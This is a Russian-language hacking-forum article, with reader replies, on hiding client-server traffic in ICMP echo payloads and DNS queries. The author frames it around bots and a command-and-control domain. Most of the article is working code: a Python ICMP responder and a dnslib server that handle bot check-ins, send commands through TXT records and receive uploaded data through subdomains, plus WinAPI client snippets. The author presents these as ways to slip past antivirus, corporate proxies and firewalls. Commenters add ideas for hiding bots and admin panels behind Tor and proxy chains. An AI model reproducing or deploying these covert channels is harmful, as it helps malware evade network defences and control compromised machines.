• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Заменяем HTTP. Варианты обмена данными между клиентом и сервером по альтернативным протоколам

pic4a

HDD-drive
Пользователь
Регистрация
09.01.2015
Сообщения
32
Реакции
18
Введение

Сегодня HTTP является одним из наиболее распространенных протоколов для передачи данных между приложениями. Если не самым распространенным. И речь не только о браузере. Очень много приложений, в особенности мобильных, на сетевом уровне представляют из себя HTTP-клиент. Протокол достаточно простой (в общем случае, не вдаваясь в специфику), расширяемый, реализации клиентов и серверов существуют на множестве языков программирования и для большого количества платформ, поэтому неудивительно что он так быстро и широко распространился. Однако, не всегда выбор наиболее популярного инструмента явлется наиболее подходящим, и далее речь пойдет как раз о том, когда такие случаи возникают и что с ними делать.

Примечание: принципиально ничего нового ниже описано не будет, ранее в том или ином виде информация присутствовала на других ресурсах. Все фундаментальные концепты в большинстве случаев (эта формулировка здесь только чтобы исключить 100%) уже давно придуманы и описаны, нам остается лишь играть с вариациями. Целью является скорее скомпоновать теорию с практической частью, показать направление для дальнейшей доработки под свои нужды. Плюс материал хорошо вписывается к другим статьям из конкурса.
Весь код, фрагменты которого используются в тексте, доступен в архиве в этом посте.


Чем плох HTTP
Не плох, а в некоторых случаях может не быть наиболее подходящим решением.

Первое: он избыточен для небольшого количества данных. Представим ситуацию, когда клиент шлет отстук. Обычно в пакет добавляется определенный токен, и клиент обращается к ресурсу GET/POST запросами.
Вот как может выглядеть типичный пример:
Код:
GET /gate.php?t=token HTTP/2
Host: host.com
User-Agent: curl/7.41.1
Accept: */*
И типичный ответ:
Код:
HTTP/2 200
server: nginx
date: Sat, 10 Oct 2020 10:30:29 GMT
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
content-length: 2

ok
Из примера видно, что лишь небольшая часть приходится на данные приложения. А это самый простой пример, обычно заголовков отправляется куда больше. Да, при передаче файлов или страницы разметки (или json-данных) заголовки могут не занимать так много места в сравнении с данными всего пакета, однако это не всегда так.

Второе: HTTP-отлично фильтруется. Из-за повсеместного использования протокола любой инструмент, у которого есть возможность мониторинга трафика, прекрасно справляется с анализом данных в пакетах. При использовании HTTPS задача не сильно усложняется. Как правило эти же инструменты проблему и решают. Например, это типовая задача для антивирусного ПО или корпоративных прокси-серверов.

Почему не надо писать свой протокол
Трафик таких протоколов – отличный артефакт, который легко детектируется. К тому же нередки случаи, когда разрешены только определенные протоколы и/или порты, чтобы исключить использование на машинах различного дополнительного софта. Причем зачастую это функциональность штатного фаервола на рабочей станции. Думаю окно ниже знакомо большинству читателей.
1603448309500.png

У профессиональных инструментов функционал куда более навороченный. Рекомендую пройтись по выдаче, у всех вендоров есть о чем рассказать.
Однако, для тех, из кого энтузиазм бьет ключом у меня хорошая новость: вы слихвой сможете его применить по назначению, и ниже я покажу пример как именно.

Что брать на замену HTTP
Исходя из вышеописанных ограничений выходит, что нужно брать за основу не менее распространенный протокол, скорее всего использующийся достаточно широко, чтобы быть доступным к использованию везде, где есть хоть какой-то сетевой доступ. Таких протоколов на самом деле существует достаточное количество. Например, тот же SMTP. Но с ним не все так однозначно, и это тоже темы статьи не касается. А вот на DNS, к примеру, без которого тот же SMTP немыслим, или ICMP можно остановиться подробнее. Сегодня в большинстве случаев если у машины есть сетевой доступ, то скорее всего будет работать передача DNS/ICMP трафика. Без первого невозможен резолв доменов, второй используется для проверки доступа к машинам в сети. Рассмотрим оба варианта с различными частными случаями, начнем с более простого ICMP.

ICMP
Начнем с серверной части. Для того, чтобы принимать (и модифицировать, что важно) ICMP-пакеты, потребуется линуксовая машина с правами рута. В первую очередь необходимо отключить обработку ICMP-пакетов операционной системой.
Код:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
Обработкой запросов займется питон (это будет серверная часть). Для этого потребуется установить зависимости:
Код:
pip install impacket
Шаблон простого сервера, который отвечает на ICMP-запросы выглядит следующим образом:
Код:
import os
import select
import socket
import subprocess
import sys
from impacket import ImpactDecoder
from impacket import ImpactPacket

def main():
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        sock.setblocking(0)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    except socket.error as e:
        sys.stderr.write('run as root\n')
        sys.exit(1)
    ip = ImpactPacket.IP()
    icmp = ImpactPacket.ICMP()
    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
    decoder = ImpactDecoder.IPDecoder()
    while 1:
        if sock in select.select([ sock ], [], [])[0]:
            buff = sock.recv(4096)
            # Packet received; decode and display it
            ippacket = decoder.decode(buff)
            icmppacket = ippacket.child()
            if icmp.ICMP_ECHO == icmppacket.get_icmp_type():
                ident = icmppacket.get_icmp_id()
                seq_id = icmppacket.get_icmp_seq()
                data = icmppacket.get_data_as_string()
                dst = ippacket.get_ip_src()
                ip.set_ip_src(ippacket.get_ip_dst())
                ip.set_ip_dst(dst)
                # устанавливаем номер пакета и идентификатор
                icmp.set_icmp_id(ident)
                icmp.set_icmp_seq(seq_id)       
                # кладем в данные пакета то что пришло
                icmp.contains(ImpactPacket.Data(data)
                # рассчитываем контрольную сумму
                icmp.set_icmp_cksum(0)
                icmp.auto_checksum = 1
                # упаковываем все в ip пакет и отправляем
                ip.contains(icmp)               
                sock.sendto(bytes(ip.get_packet()), (dst, 0))

if __name__ == '__main__':
    main()
Шаблон клиента целиком повторять не буду, он доступен на странице msdn. Остановлюсь на наиболее интересном участке, в котором как раз происходит передача пакета и получение результата.
Код:
dwRetVal = IcmpSendEcho2(hIcmpFile, NULL, NULL, NULL,
ipaddr, SendData, sizeof (SendData), NULL,
ReplyBuffer, ReplySize, 1000);
if (dwRetVal != 0) {
PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY) ReplyBuffer;
struct in_addr ReplyAddr;
В общем случае при отправке запроса в pEchoReply.Data будет содержаться отправленное ранее сообщение (SendData). Показал на скриншоте ниже как это выглядит в отладке.
1603448526600.png

Если отправленное сообщение совпадает с полученным, а также равны номера последовательности, то считается, что пинг проходит. Однако, технически нет никаких ограничений, запрещающих отклониться от спецификации и отправить любой ответ. Таким образом можно передавать данные внутри ICMP.

Для этого достаточно немного изменить участок сервера, который кладет данные для отправки.
Код:
if contains_bot_signature(data):
#обработка данных и генерация нового сообщения
data = gen_bot_data(data)
# кладем в данные пакета то что пришло
icmp.contains(ImpactPacket.Data(data))
В этом случае сервер будет отвечать на любые ICMP-запросы как того требует спецификация, а в особых случаях выполнять дополнительные действия. В данном случае псевдокод показывает что переданные данные соответствуют предполагаемому шаблону. Самый простой случай – наличие определенной последовательности в данных (только не надо вписывать подпись my_awesome_hidden_program или что-то в этом духе). Далее полученные данные передаются дальше для генерации ответа “особому клиенту”. Внутри уже будет полноценный парсинг данных и подготовка ответа.

Еще есть вариант игнорировать все запросы, кроме каких-то определенных. В этом случае необходимо изменить условие соответствия пакета выбранному типу.
Код:
if icmp.ICMP_ECHO == icmppacket.get_icmp_type() and сontains_bot_signature(icmppacket.get_data_as_string()):

DNS

Иногда передача ICMP-трафика может быть ограничена или заблокирована. Например, ICMP может быть доступен только в локальной сети. В этом случае DNS явлется хорошей заменой. И хотя его тоже могут резать на шлюзе, вероятность того, что DNS-запрос уйдет наружу намного выше. Начнем также с серверной части.
Код:
pip install dnslib
За основу взят пример с гитхаба.

В общих чертах о том, как работает скрипт. Он читает файл и для каждой записи создает экземпляр класса Record, внутри которого в поле rr есть информация о том, какую информацию отдавать клиенту, в случае, если для объекта вызов метода match возвращает положительный результат. Скрипт передает в днс сервер объект Resolver, которому передается обработка каждого входящего DNS-запроса. Он в свою очередь при получении запроса проходит по списку записей, и если есть совпадение – достает ответ из этой записи. В случае, если совпадений нет – запрос уходит далее в UPSTREAM.

Ниже приведен измененный участок сервера:
Код:
CC_DOMAIN = 'example.com'

def domain_contains_ns_data(q):
    return len(q.qname.label) == 4


def domain_contains_bot_signature(q):
    global CC_DOMAIN
    if len(q.qname.label) < 3:
        return False
    domain = q.qname.label[-2].decode("utf-8") + '.' + q.qname.label[-1].decode("utf-8")
    return domain == CC_DOMAIN \
           and q.qname.label[-3].decode("utf-8") == 'DDAACC33ABEB'


def parse_domain_as_string(q):
    domain = ''
    for subdomain in q.qname.label:
        if len(domain) > 0:
            domain += '.'
        domain += subdomain.decode("utf-8")
    return domain


class BotRecord(Record):
    def match(self, q):
        global CC_DOMAIN
        if domain_contains_bot_signature(q):
            if q.qtype == QTYPE.MX:
                self.update_mx_data(q)
                return True
            elif q.qtype == QTYPE.TXT:
                self.update_txt_data(q)
                return True
            elif q.qtype == QTYPE.NS and domain_contains_ns_data(q):
                # в data переданная информация с клиента
                data = q.qname.label[0].decode("utf-8")
                self.update_ns_data(q)
                return True
            return False
        return Record.match(self, q)

    def update_txt_data(self, q):
        """
        пример передачи команд
        :param q:
        :return:
        """
        Record.build_rr(self, rname=parse_domain_as_string(q), rtype='TXT', args=['command1, command2, etc'])

    def update_mx_data(self, q):
        """
        пример отстука
        :param q:
        :return:
        """
        Record.build_rr(self, rname='error-ok.' + parse_domain_as_string(q), rtype='MX')

    def update_ns_data(self, q):
    """
        пример передачи данных на сервер
        :param q:
        :return:
        """
        Record.build_rr(self, rname='error-ok.' + parse_domain_as_string(q), rtype='NS')
И далее пояснение того, что же изменилось. Унаследовали класс BotRecord от Record и переопределили метод match, в котором сначала проверяется, является ли входящий запрос от “особых клиентов”. Т.к это только пример, проверяется наличие домена CC_DOMAIN и строки, отведенной под клиента. К ней вернемся позднее. Если запрос подтвердился, то проверяется его тип и в зависимости от типа генерируется ответ клиенту. Это как раз пример того, как можно обмениваться данными по DNS, причем структурно весь трафик будет валидным. Основная идея в том, что запрос определенных записей отвечает за функционал приложения. Так, MX-записи являются своего рода отстуком. Запросив MX-записи домена id.example.com сервер может использовать поддомен id в качестве идентификатора и сохранять запись о клиенте в системе. Строка “DDAACC33ABEB” как раз показывает, что можно в качестве id передавать mac-адрес.

Запросив TXT-записи для домена DDAACC33ABEB.example.com можно получать список команд. Прелесть TXT-записей заключается в том, что по стандарту записи как раз и отведены под хранение произвольных текстовых данных. А запрос NS-записей используется для передачи данных на сервер, где в качестве данных используется поддомен, следующий за идентификатором. Например, для домена test.DDAACC33ABEB.example.com строка test будет являться передаваемыми данными. На самом деле все это можно было уместить в запрос записи одного типа, но хотелось показать что DNS в плане возможных вариантов очень многообразен.

После совпадения сигнатуры и типа записи генерируется ответ клиенту. Метод build_rr содержит код из конструктора Record, в котором происходит создание RR, а сам конструктор теперь также вызывает этот метод.

При генерации ответа используются записи в качестве информации о результатах запроса. Т.к. никакой особой логики нет, всегда генерируется поддомен error-ok, который воспринимается как выполнение запроса без ошибок.

Клиентская часть в части отправки пакета более простая. У винапи есть библиотека dnsapi, которую и будем использовать. Фактически, все строится вокруг функции DnsQuery. В более новых версиях, начиная с Windows 8, появилась функция DnsQueryEx. Но именно из-за ее “новизны” решено было ее отдать предпочтение ее более старому варианту.
Код:
PIP4_ARRAY pSrvList = NULL;
pSrvList = (PIP4_ARRAY) LocalAlloc(LPTR,sizeof(IP4_ARRAY));
if (!pSrvList) {
return 1;
}
pSrvList->AddrCount = 1;
pSrvList->AddrArray[0] = inet_addr("192.168.0.78");
if ( pSrvList->AddrArray[0] == INADDR_NONE ) {
LocalFree(pSrvList);
return 1;
}
PDNS_RECORD pDnsRecord;
DNS_STATUS ds = DnsQuery_A(
"DDAACC33ABEB.example.com", DNS_TYPE_MX,
DNS_QUERY_BYPASS_CACHE|DNS_QUERY_NO_HOSTS_FILE,
pSrvList, &pDnsRecord, NULL);
DNS_FREE_TYPE freetype;
freetype = DnsFreeRecordListDeep;
DnsRecordListFree(pDnsRecord, freetype);
Заполнение структуры pSrvList не обязательно, если не нужно слать запросы на определенный IP-адрес. Например, если домен example.com уже ведет на необходимый DNS-сервер. Здесь это сделано потому, что все эксперименты происходили внутри локальной сети.
1603448829100.png

Для записей NS, MX из примера достаточно пройти в указатель pDnsRecord.pName и обработать ответ. Содержимое для TXT записей будет находиться в (((*(pDnsRecord)).Data).TXT).pStringArray. Это массив в каждом значении которого будет находиться по одной записи.
1603448846900.png

Возможные проблемы
Не смотря на то, что DNS может в некоторых случаях работать по TCP, оба протокола в своем штатном исполнении не гарантируют доставку и очередность пакетов. А значит, надо самостоятельно заботиться о контроле передаваемых данных. Делать это можно, например, добавляя номер пакета (в ICMP для этого есть отдельное поле) и контрольную сумму в секцию данных. Соответственно, если по пути пакет потерялся или не дошел в исходном виде, необходимо отправить ответ на передачу заново.

В примерах данные передаются в открытом виде – это не призыв к действию, а пример без лишней смысловой нагрузки. Данные необходимо шифровать. И паковать перед этим их тоже не помешает. Это не “резиновый” HTTP все-таки.

Если вдруг потребуется отправить DNS-запрос на нестандартный порт, то я не нашел как это можно сделать через DnsQuery. Возможно плохо искал. Но также возможно что потребуется использовать сторонние библиотеки, или писать клиент на сокетах.

Фаерволы все равно могут блокировать передачу любого трафика для всех приложений, не входящих в определенный список. В этом случае рекомендую присмотреться к встроенным в систему скриптовым интерпретаторам, которых не так уж и мало, или ПО, с которым можно работать через API, и у которого эти доступы есть. К сожалению в этом случае нет определенных рекомендаций, придется разбираться на месте.

Вместо заключения
Критика, предложения и другие формы обратной связи приветствуются. Особенно на тему использования других протоколов.
 

Вложения

  • examples.zip
    5 КБ · Просмотры: 16
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну мне кажется, что сейчас всякие публичные сервисы с API становятся более актуальными (типа почт, телеграммов всяких, дропбоксов и тд). Но если чисто по протоколам, то можно было бы еще добавить SMTP/POP3/IMAP, FTP/FTPS и WebSocket.
 
Ну мне кажется, что сейчас всякие публичные сервисы с API становятся более актуальными (типа почт, телеграммов всяких, дропбоксов и тд). Но если чисто по протоколам, то можно было бы еще добавить SMTP/POP3/IMAP, FTP/FTPS и WebSocket.
с почтовыми протоколами много проблем. т.к. это основной канал на клиентских машинах наружу, его фильтруют всеми возможными и невозможными способами. помимо того чтобы не отсвечивать еще приходится избегать попадания в спам фильтры.
ftp может быть заблокирован.
а вот вебсокеты кстати да.
 
Почему вы использовали эту версию У нее есть особый плюс?
при сборке можно подсунуть более старую версию msvcrt. при этом использовать минимальные удобства вроде строк, не раздувая размер exe.
в теории это можно сделать на любой версии, но на практике есть нюансы.
да и ресурсов ей нужен минимум для работы при юзабельном интерфейсе.
 
Интересно, спасибо
Мысли вслух:
1) DnsQuery использует системные настройки и поэтому нельзя отправить на нестандартный порт?
2) используется UDP, значит можно отправить запрос без ожидания ответа, чтоб скорость увеличить или нет?
 
Спасибо, классный материал. Еще бы было интересно почитать о проксировании. Не просто дефолтный nginx proxy_pass, а что-то поинтереснее. Т.е. шифрование и замусоривание траффика "между", прокидывание через tor, использование > 1 прокси прокладки. И т.д. А все это дело натянуть на практику (например, для скрытия проектов, ботов, админок, чего-угодно). Может быть интересно. Если мы говорим о материалах по сетям.
 
Есть готовая библиотека на Python работающая с DNS протоколом:
Позволяет получить доступ к интернету там, где к примеру он прикрыт firewall-ом, но DNS запросы разрешены.
 
Честно говоря статья-солянка, собранная из интернетов.

Думаю окно ниже знакомо большинству читателей

Это окно вообще никакого отношения к исходящему трафику не имеет. Т.ч глубоко пофиг будет ли это HTTP или еще какой изврат.
 
Ну а практика в чем? Обойти фаер не получится. Мониторинг трафа SOCистами? Тут есть куча апи, как уже писали.

Вот например как поднять прокси на клиенте, не открывая порт - вот реальная задача, может через icmp или др. протоколы можно такой себе реверс прокси реализовать. Зла в тебе нет, автор, хехе
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх